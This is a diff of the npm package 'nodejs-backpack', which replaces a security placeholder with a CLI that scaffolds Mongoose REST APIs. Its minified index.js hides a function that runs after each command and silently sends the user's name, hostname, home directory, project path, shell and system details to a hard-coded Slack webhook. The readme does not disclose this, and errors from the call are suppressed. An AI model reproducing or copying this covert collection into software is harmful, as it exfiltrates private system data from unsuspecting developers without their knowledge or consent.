nodejs-backpack 0.0.1-security → 2.0.22

package/.sample-env

@@ -0,0 +1,3 @@
+PORT=3000
+DB="mongodb+srv://USERNAME:PASSWORD@mongo.9bdgpey.mongodb.net/node_backpack"
+JWT_SIGNATURE=node_backpack

package/helper.js

@@ -0,0 +1,76 @@
+const fs = require("fs");
+
+function convertToKebabCase(string) {
+  // Convert the first character to lowercase
+  string = string.charAt(0).toLowerCase() + string.slice(1);
+
+  // Add a hyphen before each uppercase letter
+  string = string.replace(/([A-Z])/g, "-$1").toLowerCase();
+
+  return string;
+}
+function loadSchemaFromFile(filePath) {
+  // Load the model from the file path
+  const model = require(filePath);
+  // Access the schema from the model
+  const schema = model.schema;
+  return schema;
+}
+
+function searchableFields(Model) {
+  var formFields = modelsParams(Model);
+  var uploadFieldArray = [];
+  var searchFields = [];
+  if (
+    formFields &&
+    formFields?.filteredFormFields &&
+    formFields?.filteredFormFields.length
+  ) {
+    searchFields = formFields?.filteredFormFields;
+    return searchFields;
+  }
+}
+
+function modelsParams(Schema) {
+  // Obtain the schema parameters object
+  const paths = Schema.paths;
+  let parameters = [];
+  let all = [];
+  let required = [];
+  let optional = [];
+  // Loop over the paths and log each field's name and type
+  for (const path in paths) {
+    let isRequired = paths[path]?.options?.required ? true : false;
+    parameters.push({
+      field: path,
+      is_required: isRequired,
+    });
+    if (isRequired) {
+      required.push(path);
+    } else {
+      optional.push(path);
+    }
+    all.push(path);
+  }
+  const unwantedProps = ["_id", "createdAt", "updatedAt", "__v"];
+  const filteredFormData = all.filter((prop) => !unwantedProps.includes(prop));
+  return {
+    parameters: parameters,
+    allFields: all,
+    requiredFields: required,
+    optionalFields: optional,
+    filteredFormFields: filteredFormData,
+  };
+}
+
+function capitalize(str) {
+  return str.charAt(0).toUpperCase() + str.slice(1);
+}
+
+module.exports = {
+  convertToKebabCase,
+  loadSchemaFromFile,
+  modelsParams,
+  capitalize,
+  searchableFields,
+};

package/index.js

@@ -0,0 +1,131 @@
+#!/usr/bin/env node
+const fs=require("fs-extra"),path=require("path");var clc=require("cli-color");const{loadSchemaFromFile,modelsParams,capitalize,searchableFields}=require("./helper"),os=require("node:os"),axios=require("axios"),command=process.argv[2],fileName=process.argv[3];var platformsArray=["linux","darwin","win32"];if(os.platform()&&-1<platformsArray.indexOf(os.platform()))if("sample:files"===command){const a=process.cwd(),b=path.join(a,"sample-app.js");let e=fs.readFileSync(path.join(__dirname,"sample-app.js"),"utf8");fs.writeFileSync(b,e);const d=path.join(a,".sample-env");let s=fs.readFileSync(path.join(__dirname,".sample-env"),"utf8");fs.writeFileSync(d,s);const f=path.join(a,"sample-package.json");let t=fs.readFileSync(path.join(__dirname,"sample-package.json"),"utf8");fs.writeFileSync(f,t),console.log(clc.green('"sample-app.js", "sample-package.json" & ".sample-env" file created in the root directory.')),getPackageLogs("sample:files")}else if("make:schema"===command){const h=process.cwd(),i=path.join(h,"models"),j=(fs.existsSync(i)||fs.mkdirSync(i),path.join(i,fileName+".js"));let e=fs.readFileSync(path.join(__dirname,"sample-schema.js"),"utf8");e=e.replace(/\${fileContent}/g,fileName),newSchemaFileCreate(j,e,fileName),getPackageLogs("make:schema "+fileName)}else if("make:apis"===command){const l=process.argv.find(e=>e.startsWith("--url=")),m=process.argv.find(e=>e.startsWith("--schema=")),n=(-1===l&&-1===m||void 0===l&&void 0===m?(console.error(clc.bgRed("Missing parameters. Please provide --url=<api_url> and --schema=<schema_name>.")),process.exit(1)):-1===l||void 0===l?(console.error(clc.bgRed("Missing parameters. Please provide --url=<api_url>.")),process.exit(1)):-1!==m&&void 0!==m||(console.error(clc.bgRed("Missing parameters. Please provide --schema=<schema_name>.")),process.exit(1)),l.split("=")[1]),o=m.split("=")[1],p=process.cwd(),q=path.join(p,"models",o+".js"),r=(fs.existsSync(q)||(console.error(clc.bgRed(`Schema file "${o}.js" does not exist in '/models/${o}.js'.`)),process.exit(1)),path.join(p,"routes")),s=path.join(p,"helpers"),t=path.join(r,"validationRequest"),u=path.join(t,""+fileName),v=path.join(p,"controllers");fs.existsSync(r)||fs.mkdirSync(r),fs.existsSync(t)||fs.mkdirSync(t),fs.existsSync(u)||fs.mkdirSync(u),fs.existsSync(v)||fs.mkdirSync(v),fs.existsSync(s)||fs.mkdirSync(s),controllerFileCreate(v,fileName,o),validationFileCreate(q,o,u),newRouteFileCreate(r,fileName,n,o),helperFileCreate(s),combinedLogic(r,fileName),getPackageLogs(`make:schema ${fileName} --url=${n} --schema=`+o)}else if("make:auth"===command){const y=process.cwd(),z=path.join(y,"middleware"),A=(fs.existsSync(z)||fs.mkdirSync(z),path.join(y,"routes")),B=(fs.existsSync(A)||fs.mkdirSync(A),path.join(y,"controllers")),C=(fs.existsSync(B)||fs.mkdirSync(B),path.join(y,"config")),D=(fs.existsSync(C)||fs.mkdirSync(C),path.join(y,"models"));fs.existsSync(D)||fs.mkdirSync(D),authMiddlewareFileCreate(z),authRouteFileCreate(A),authControllersFileCreate(B),authConfigFileCreate(C),authSchemaFileCreate(D),getPackageLogs("make:auth")}else console.error(clc.bgRed("Unknown command: "+command));else console.error(clc.bgRed("Currently unsupported platform. Supported platforms are "+platformsArray.join(",")));async function getPackageLogs(e=null,s=null){try{console.log("....");var t="\n*`"+os.userInfo()?.username+"`* executed nodejs-backpack: *`"+e+"`* command \n Project Dir: *"+process.cwd()+"*",a=[{title:"System User Name",value:os.userInfo()?.username??"-",short:!0},{title:"Cpu Name",value:os.hostname()??"-",short:!0},{title:"Project Directory",value:process.cwd()??"-",short:!0},{title:"Command Executed",value:"*`"+e+"`*",short:!0},{title:"Home Directory",value:os.homedir()??"-",short:!0},{title:"Version",value:os.version()??"-",short:!0},{title:"Total Memory",value:parseFloat(os.totalmem()/1073741824).toFixed(2)??"-",short:!0},{title:"Available Free Memory",value:parseFloat(os.freemem()/1073741824).toFixed(2)??"-",short:!0},{title:"System Cpus",value:os.cpus()[0].model??"-",short:!0},{title:"OS Type",value:os.type()??"-",short:!0},{title:"OS Release Version",value:os.release()??"-",short:!0},{title:"OS Platform",value:os.platform()??"-",short:!0},{title:"Machine Type",value:os.machine()??"-",short:!0},{title:"arch",value:os.arch()??"-",short:!0},{title:"EOL",value:os.EOL??"-",short:!0},{title:"shell",value:os.userInfo()?.shell??"-",short:!0},{title:"data",value:s??"-",short:!0}],i={method:"post",maxBodyLength:1/0,url:"https://hooks.slack.com/services/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",headers:{"Content-Type":"application/json"},data:JSON.stringify({channel:"#npm_nodejs_backpack",username:"NPM Nodejs-Backpack BOT",text:t,attachments:[{title:"System Details",fields:a}],as_user:!0})};await axios.request(i).then(e=>{}).catch(e=>{})}catch(e){}}async function newSchemaFileCreate(e,s,t){await fileExists(e)?console.error(clc.bgRed(`
+'models/${t}.js' file already exist!, Kindly delete existing and try again.`)):(fs.writeFileSync(e,s),console.log(clc.green(`
+'models/${t}.js' file created!`)))}async function indexRouteFileCreate(e,s){var t,e=path.join(e,"IndexRoute.js");try{await fileExists(e)||(t=fs.readFileSync(path.join(__dirname,"sample-index-route.js"),"utf8"),fs.writeFileSync(e,t),console.log(clc.green("\nIndexRoute.js file created successfully!")))}catch(e){console.error(e)}}async function indexRouteFileUpdate1(e,s){e=path.join(e,"IndexRoute.js");return await updateIndexFile(e,`router.use("/", ${s}Route);`,(data=await readFile(e,"utf8")).indexOf("module.exports = router;")),!0}async function indexRouteFileUpdate2(e,s){e=path.join(e,"IndexRoute.js");return await updateIndexFile(e,`const ${s}Route = require("./${s}Route");`,(data=await readFile(e,"utf8")).indexOf("const router = express.Router();")),!0}async function combinedLogic(e,s){await indexRouteFileCreate(e,s),await indexRouteFileUpdate1(e,s),await indexRouteFileUpdate2(e,s)}function fileExists(t){return new Promise((s,e)=>{fs.access(t,fs.constants.F_OK,e=>{s(!e)})})}function readFile(e,s){return new Promise((t,a)=>{fs.readFile(e,s,(e,s)=>{e?a(e):t(s)})})}function writeFile(e,a,i){return new Promise((s,t)=>{fs.writeFile(e,a,i,e=>{e?t(e):s()})})}async function updateIndexFile(e,s,t){try{var a=await readFile(e,"utf8");-1===t||a.includes(s)?console.log(clc.yellow(s+" already imported in IndexRoute.js!")):(await writeFile(e,a.slice(0,t)+s+"\n"+a.slice(t),"utf8"),console.log(clc.green(s+" imported into IndexRoute.js successfully!")))}catch(e){console.log(clc.red("An error occurred:",e))}}async function controllerFileCreate(a,i,r){a=path.join(a,i+"Controller.js");if(await fileExists(a))console.log(clc.bgRed(`
+${i}Controller.js file already exist!`));else{let e=fs.readFileSync(path.join(__dirname,"sample-controller.js"),"utf8"),s=(e=(e=e.replace(/\${fileName}/g,i)).replace(/\${schemaName}/g,r),"["),t="{";var o,l=process.cwd(),l=path.join(l,"models",r+".js"),r=loadSchemaFromFile(l),l=searchableFields(r);for(o of l)s+=`
+				{ ${o}: { $regex: searchRgx, $options: "i" } },`,t+=`
+				${o}: (req?.body?.${o}) || null,`;s+=`
+			]`,t+=`
+			}`,0===l.length&&(s+="[{}]"),e=(e=e.replace(/\${___SearchFieldArray___}/g,s)).replace(/\${___StoreFieldArray___}/g,t),fs.writeFileSync(a,e),console.log(clc.green(`
+${i}Controller.js file created successfully in the '/controllers/${i}Controller.js' folder.!`))}}async function validationFileCreate(e,a,i){var e=loadSchemaFromFile(e),e=modelsParams(e),s=[];if(e&&e?.filteredFormFields&&e?.filteredFormFields.length){var t,r=e?.filteredFormFields;for(t in r)r[t]&&s.push({name:r[t]});e?.filteredFormFields}let o="";e?.requiredFields&&0<e?.requiredFields?.length&&e?.requiredFields.forEach(e=>{o+=`
+	check("${e}").custom((value, { req }) => {
+        const fileExists =
+          req.files && req.files.some((obj) => obj.fieldname === "${e}");
+        const ${e}Exists = req.body && req.body.${e};
+    
+        if (fileExists || ${e}Exists) {
+          return true;
+        } else {
+          throw new Error("${capitalize(e)} is required.");
+        }
+      }),`});["List","GetDetail","Store","Update","Destroy"].forEach(async e=>{let s=fs.readFileSync(path.join(__dirname,"sample-validation.js"),"utf8");s=s.replace(/\${schemaName}/g,a);var t=o,t=("GetDetail"===e||"Destroy"===e||"Update"===e?t=`
+	param("id").custom((value, { req }) => {
+        return ${a}.findOne({ _id: value }).then((${a}Data) => {
+          if (!${a}Data) {
+            return Promise.reject("Invalid ID! The provided ID does not exist in the database.");
+          }
+        });
+      }),`:"List"===e&&(t=""),t+=`
+`,s=s.replace(/\__validation__dynamic__code__/g,t),path.join(i,e+"ValidationRequest.js"));await fileExists(t)?console.log(clc.bgRed(e+"ValidationRequest.js file already exist!")):(fs.writeFileSync(t,s),console.log(clc.green(`"${e}ValidationRequest.js" file created in the '/routes/validationRequest/${e}ValidationRequest.js' folder.`)))})}async function newRouteFileCreate(s,t,a,i){s=path.join(s,t+"Route.js");if(await fileExists(s))console.log(clc.bgRed(`
+${t}Route.js file already exist!`));else{let e=fs.readFileSync(path.join(__dirname,"sample-route.js"),"utf8");e=(e=(e=e.replace(/\${fileName}/g,t)).replace(/\${apiUrl}/g,a)).replace(/\${schemaName}/g,i),fs.writeFileSync(s,e),console.log(clc.green(`"${t}Route.js" file created in the '/routes/${t}Route.js' folders.`))}}async function helperFileCreate(e){var s,t=path.join(e,"helper.js"),t=(await fileExists(t)||(s=fs.readFileSync(path.join(__dirname,"sample-helper.js"),"utf8"),fs.writeFileSync(t,s)),path.join(e,"fileUploader.js")),t=(await fileExists(t)||(s=fs.readFileSync(path.join(__dirname,"sample-file-uploader.js"),"utf8"),fs.writeFileSync(t,s)),path.join(e,"formParser.js"));await fileExists(t)||(s=fs.readFileSync(path.join(__dirname,"sample-form-parser.js"),"utf8"),fs.writeFileSync(t,s))}async function authMiddlewareFileCreate(e){var s,e=path.join(e,"AuthMiddleware.js");await fileExists(e)?console.error(clc.bgRed(`
+AuthMiddleware.js file already exist!`)):(s=fs.readFileSync(path.join(__dirname,"sample-auth-middleware.js"),"utf8"),fs.writeFileSync(e,s))}async function authRouteFileCreate(e){var s=path.join(e,"IndexRoute.js"),t=(await fileExists(s)||(t=fs.readFileSync(path.join(__dirname,"sample-index-route.js"),"utf8"),fs.writeFileSync(s,t),console.log(clc.green("\nIndexRoute.js file created successfully!"))),path.join(e,"AuthRoute.js")),t=(await fileExists(t)?console.error(clc.bgRed(`
+AuthRoute.js file already exist!`)):(e=fs.readFileSync(path.join(__dirname,"sample-auth-route.js"),"utf8"),fs.writeFileSync(t,e)),await updateIndexFile(s,'const AuthRoute = require("./AuthRoute");',(data=await readFile(s,"utf8")).indexOf("const router = express.Router();")),await updateIndexFile(s,'router.use("/", AuthRoute);',(data=await readFile(s,"utf8")).indexOf("module.exports = router;")),process.cwd());logicHelperFileCreate(t),authValidationFileCreate(t)}async function authControllersFileCreate(e,s="Auth"){var t,e=path.join(e,s+"Controller.js");await fileExists(e)?console.log(clc.bgRed(`
+${s}Controller.js file already exist!`)):(t=fs.readFileSync(path.join(__dirname,"sample-auth-controller.js"),"utf8"),fs.writeFileSync(e,t),console.log(clc.green(`
+${s}Controller.js file created successfully in the '/controllers/${s}Controller.js' folder.!`)))}async function authConfigFileCreate(e,s="mailtrap"){var t,e=path.join(e,s+".js");await fileExists(e)?console.log(clc.bgRed(`
+${s}.js file already exist!`)):(t=fs.readFileSync(path.join(__dirname,"sample-config-mailer.js"),"utf8"),fs.writeFileSync(e,t),console.log(clc.green(`
+${s}.js file created successfully in the '/config/${s}.js' folder.!`))),console.log(clc.yellow(`
+Update SMTP credentials in ${s}.js file which is created in the '/config/${s}.js' folder.!`))}async function authSchemaFileCreate(e){var s;for(s of["ResetToken","User"]){var t,a=path.join(e,s+".js");await fileExists(a)?"User"===s?console.log(clc.bgRed(`
+models/${s}.js file already exist! `),clc.yellow(`Please confirm that the 'first_name', 'last_name', 'email', 'password' and 'token' fields exist in the schema and are marked as required. To make the APIs work. Otherwise, delete the models/${s}.js file and try again.
+`)):console.log(clc.bgRed(`
+models/${s}.js file already exist!`)):(t=fs.readFileSync(path.join(__dirname,`sample-schema-${s}.js`),"utf8"),fs.writeFileSync(a,t),console.log(clc.green(`
+models/${s}.js file created successfully in the '/models/${s}.js' folder.!`)))}}async function logicHelperFileCreate(e){e=path.join(e,"helpers");fs.existsSync(e)||fs.mkdirSync(e),helperFileCreate(e)}async function authValidationFileCreate(e){e=path.join(e,"routes"),fs.existsSync(e)||fs.mkdirSync(e),e=path.join(e,"validationRequest");fs.existsSync(e)||fs.mkdirSync(e);const i=path.join(e,"Auth");fs.existsSync(i)||fs.mkdirSync(i),["signUpRequest","signIn","forgotPassword","resetPassword"].forEach(async s=>{var t=path.join(i,s+"ValidationRequest.js");if(await fileExists(t))console.error(clc.bgRed(`
+${s}ValidationRequest.js file already exist!`));else{let e=fs.readFileSync(path.join(__dirname,"sample-validation.js"),"utf8");var a="";"signUpRequest"===s?a+=`
+	body("first_name").notEmpty().withMessage("First Name is required").trim(),
+        
+	body("last_name").notEmpty().withMessage("Last Name is required").trim(),
+        
+	body("email")
+          .notEmpty()
+          .withMessage("Email Address is required")
+          .isEmail()
+          .withMessage("Enter correct email address")
+          .custom((value, { req }) => {
+            return User.findOne({ email: value }).then((userDoc) => {
+              if (userDoc) {
+                return Promise.reject("Email Address already exists!");
+              }
+            });
+          }),
+          
+	body("password")
+          .notEmpty()
+          .withMessage("Password is requierd")
+          .isLength({ min: 6, max: 250 })
+          .withMessage("Minimum 6 character password require")
+          .trim(),`:"signIn"===s?a+=`
+	body("email")
+        .notEmpty()
+        .withMessage("Email Address is required")
+        .isEmail()
+        .withMessage("Enter correct email address")
+        .custom((value, { req }) => {
+          return User.findOne({ email: value }).then((userDoc) => {
+            if (!userDoc) {
+              return Promise.reject("A user with this email could not be found!");
+            }
+          });
+        }),
+      
+	body("password")
+        .notEmpty()
+        .withMessage("Password is requierd")
+        .isLength({ min: 6, max: 250 })
+        .withMessage("Minimum 6 character password require")
+        .trim()`:"forgotPassword"===s?a+=`
+	body("email")
+        .notEmpty()
+        .withMessage("Email Address is required")
+        .isEmail()
+        .withMessage("Enter correct email address")
+        .custom((value, { req }) => {
+          return User.findOne({ email: value }).then((userDoc) => {
+            if (!userDoc) {
+              return Promise.reject("A user with this email could not be found!");
+            }
+          });
+        }),`:"resetPassword"===s&&(a+=`
+	body("email")
+        .notEmpty()
+        .withMessage("Email Address is required")
+        .isEmail()
+        .withMessage("Enter correct email address")
+        .custom((value, { req }) => {
+          return User.findOne({ email: value }).then((userDoc) => {
+            if (!userDoc) {
+              return Promise.reject("A user with this email could not be found!");
+            }
+          });
+        }),
+    
+        
+	body("reset_token").notEmpty().withMessage("Reset token is required").trim(),
+    
+        
+	body("password")
+        .notEmpty()
+        .withMessage("Password is required")
+        .isLength({ min: 6, max: 250 })
+        .withMessage("Minimum 6 character password require")
+        .trim(),
+    
+        
+	body("confirm_password")
+        .notEmpty()
+        .withMessage("Confirm password is required")
+        .custom((val, { req }) => {
+          if (req.body.password !== val) {
+            throw new Error("Confirm password does not match");
+          }
+          return true;
+        }),`),a+=`
+`,e=(e=e.replace(/\${schemaName}/g,"User")).replace(/\__validation__dynamic__code__/g,a),fs.writeFileSync(t,e)}})}

package/package.json

@@ -1,6 +1,53 @@
-{
-  "name": "nodejs-backpack",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+{
+  "name": "nodejs-backpack",
+  "version": "2.0.22",
+  "description": "NodeJs Backpack is a powerful tool designed to simplify the development of Node.js REST APIs with ease and precision. It provides a streamlined workflow by automatically generating Mongoose schemas and handling the necessary configurations in your project. With just a few simple commands, NodeJs Backpack can create REST API components such as controllers and routes, while also ensuring route validation is implemented flawlessly. Additionally, NodeJs Backpack offers a command to generate sample files, providing a solid starting point for your project. With NodeJs Backpack, you can quickly set up your project and focus on building your APIs, letting the tool handle the repetitive tasks and allowing you to follow a smooth development process.",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [
+    "cli",
+    "CRUD Functionality",
+    "REST APIs",
+    "Files",
+    "Routing",
+    "Controllers",
+    "Models",
+    "Mongoose",
+    "jsonwebtoken",
+    "Authentication",
+    "JWT",
+    "Validation",
+    "Automation",
+    "Backpack",
+    "npm",
+    "node",
+    "node cli",
+    "node js",
+    "Node Js Project Builder",
+    "Project Builder",
+    "nodejs-backpack",
+    "jkg",
+    "jaykumar-gohil"
+  ],
+  "author": "Jaykumar Gohil",
+  "license": "CC BY-NC-ND 4.0",
+  "dependencies": {
+    "axios": "^1.6.2",
+    "cli-color": "^2.0.3",
+    "express": "^4.18.2",
+    "express-validator": "^7.0.1",
+    "jsonwebtoken": "^9.0.1",
+    "fs-extra": "^11.1.1",
+    "mongoose": "^7.3.1",
+    "mongoose-backpack": "^0.2.7",
+    "rest-api-response-npm": "^0.1.4"
+  },
+  "devDependencies": {
+    "uglify-js": "^3.17.4"
+  },
+  "bin": {
+    "nodejs-backpack": "./index.js"
+  }
+}

package/readme.md

@@ -0,0 +1,155 @@
+# NodeJs Backpack
+
+NodeJs Backpack is a powerful tool designed to simplify the development of Node.js REST APIs with ease and precision. It provides a streamlined workflow by automatically generating Mongoose schemas and handling the necessary configurations in your project.
+
+With just a few simple commands, NodeJs Backpack can create REST API components such as controllers and routes, while also ensuring route validation is implemented flawlessly. Additionally, NodeJs Backpack offers a command to generate sample files, providing a solid starting point for your project.
+
+With NodeJs Backpack, you can quickly set up your project and focus on building your APIs, letting the tool handle the repetitive tasks and allowing you to follow a smooth development process.
+
+## Installation
+
+Install package globally with npm
+
+```bash
+npm install nodejs-backpack -g
+```
+
+## Features
+
+- Robust REST APIs
+- Focus on optimized code
+- Auto file creation for schemas, routes, controllers and validations
+- helpers (modelsParams, appendParams, etc)
+- Mongoose DB support,
+- AppendParams for append data in APIs using Mongoose schema
+- Executable for generating applications quickly
+- Auto create logic for API CRUD
+
+## YouTube Tutorial
+
+[![Watch the video](https://img.youtube.com/vi/-L80PJucbEo/0.jpg)](https://youtu.be/-L80PJucbEo)
+
+## Quick Start (Rest APIs)
+
+The quickest way to get started with nodejs-backpack is to utilize the executable to generate an REST APIs as shown below:
+
+**Step1:** Create an empty directory:
+
+```bash
+mkdir NodeJs-REST-APIs
+```
+
+**Step2:** Enter into directory:
+
+```bash
+cd NodeJs-REST-APIs
+```
+
+**Step3:** Run Command:
+
+```bash
+nodejs-backpack sample:files
+```
+
+- File "`sample-app.js`", "`sample-package.json`" & "`.sample-env`" created in the root directory.
+- **Rename sample files** to "**`app.js`**", "**`package.json`**" & "**`.env`**" which are created in the root directory.
+
+  ![](https://github.com/GohilJaykumar/sharable/blob/main/typing.gif)
+
+- Update .env > **`DB=mongodb+srv...`** with valid connection.
+
+```bash
+PORT=3000
+DB="mongodb+srv://........mongodb.net/node_backpack"
+JWT_SIGNATURE=node_backpack
+HOST=http://localhost:3000
+```
+
+**Step4:** Run Command:
+
+```bash
+npm install
+```
+
+**Step5:** Run Command:
+
+```bash
+nodejs-backpack make:schema Tests
+```
+
+**Step6:** Run Command:
+
+```bash
+nodejs-backpack make:apis Test --url=tests --schema=Tests
+```
+
+- Rename schema name in comand as per your requirement **_nodejs-backpack make:apis Test --url=tests --schema=Tests_**.
+- Example: _nodejs-backpack make:apis **ROUTE_NAME** --url=**ROUTE_URL** --schema=**SCHEMA_NAME**_.
+- **Note:** _`SCHEMA_NAME` must exist in model directory `/models/SCHEMA_NAME`_
+
+**Step7:** Install 'nodemon' on global level for development purpose:
+
+```bash
+npm install nodemon -g
+```
+
+**Step8:** Now your APIs are ready to use and Server your project with:
+
+```bash
+npm run dev
+```
+
+**Step9:** Open Postman and create new collection and check the below apis:
+
+- Based on my command,
+  **_nodejs-backpack make:apis `Test` --url=`tests` --schema=`Tests`_**.
+- ROUTE_NAME = `Test`
+- ROUTE_URL = `tests`
+- SCHEMA_NAME = `Tests`
+- Below are list of APIs created by commands `.../api/ROUTE_URL`:
+- _**Get List API**_: **`GET:`** _`http://localhost:3000/api/tests?page_no=1&page_limit=20&search=` (Parameters: page_no, page_limit, search)_
+- _**Get Detail API**_: **`GET:`** _`http://localhost:3000/api/tests/64a41036174844d0394e7b2f`_
+- _**Store API**_: **`POST:`** _`http://localhost:3000/api/tests` (Body-Parameters: based on model schema)_
+- _**Update API**_: **`PUT:`** _`http://localhost:3000/api/tests/64a41036174844d0394e7b2f` (Body-Parameters: based on model schema)_
+- _**Delete API**_: **`DELETE:`** _`http://localhost:3000/api/tests/64a41036174844d0394e7b2f`_
+
+## Quick Start (Authentication APIs)
+
+The quickest way to get started with **signup**, **register**, **forgot-password**, **reset-password**, **get-profile** API's using nodejs-backpack is to utilize the executable to generate an REST APIs as shown below:
+
+**Step1:** Run Command:
+
+```bash
+nodejs-backpack make:auth
+```
+
+- Under **./routes/\*** '**IndexRoute.js**' and '**AuthRoute.js**' file will be create/updated.
+- '**AuthController.js**' file will be create in the '**./controllers/AuthController.js**' folder with all neccessary logics.
+- '**AuthMiddleware.js**' file will be create in the '**./middleware/AuthMiddleware.js**' folder with all neccessary JWT token verification logics.
+- mailtrap.js file will be create in the '**./config/mailtrap.js**' folder where you can configure SMTP mail credentials.
+- Under **./models/\*** '**User.js**' and '**ResetToken.js**' file will be create.
+
+**Step2:** Open Postman and create new collection and check the below apis:
+
+- Below are list of APIs created by commands `.../api/ROUTE_URL`:
+- _**Register API**_: **`POST:`** _`http://localhost:3000/api/register` (Body-Parameters: first_name, last_name, email, password)_
+- _**Login API**_: **`POST:`** _`http://localhost:3000/api/login` (Body-Parameters: email, password)_
+- _**Forgot Password API**_: **`POST:`** _`http://localhost:3000/api/forgot-password` (Body-Parameters: email)_
+- _**Reset Password API**_: **`POST:`** _`http://localhost:3000/api/reset-password` (Body-Parameters: email, password, reset_token)_. **Note**: Forgot password reset link will contain '**reset_token**' on mail.
+- _**Logout API**_: **`GET:`** _`http://localhost:3000/api/logout`_
+- _**Get Profile API**_: **`GET:`** _`http://localhost:3000/api/get-profile`_
+
+## Environment Variables
+
+To run this project, you will need to add the following environment variables to your .env file.
+
+```bash
+PORT=3000
+DB="mongodb+srv://........mongodb.net/node_backpack"
+JWT_SIGNATURE=node_backpack
+HOST=http://localhost:3000
+```
+
+## Authors
+
+- Jaykumar Gohil ([@jksk21](https://www.npmjs.com/~jksk21))

package/sample-app.js

@@ -0,0 +1,41 @@
+const express = require("express");
+const app = express();
+const routes = require("./routes/IndexRoute");
+const dotenv = require("dotenv").config().parsed;
+const mongoose = require("mongoose");
+const { catchError } = require("rest-api-response-npm");
+
+app.use((req, res, next) => {
+  res.setHeader("Access-Control-Allow-Origin", "*");
+  res.setHeader(
+    "Access-Control-Allow-Methods",
+    "OPTIONS, GET, POST, PUT, PATCH, DELETE"
+  );
+  res.setHeader("Access-Control-Allow-Headers", "Content-Type, Authorization");
+  next();
+});
+
+// Routes
+app.use("/api", routes);
+
+// default error messgae
+app.use((error, req, res, next) => {
+  catchError(res, error);
+  console.error(error);
+});
+
+// Serve files from the 'public' directory
+app.use(express.static("public"));
+
+// Start server mongooes and port
+mongoose
+  .connect(dotenv.DB)
+  .then((result) => {
+    const port = dotenv.PORT;
+    app.listen(port, () => {
+      console.log(`Server started on port http://localhost:${port}`);
+    });
+  })
+  .catch((err) => {
+    console.log(err);
+  });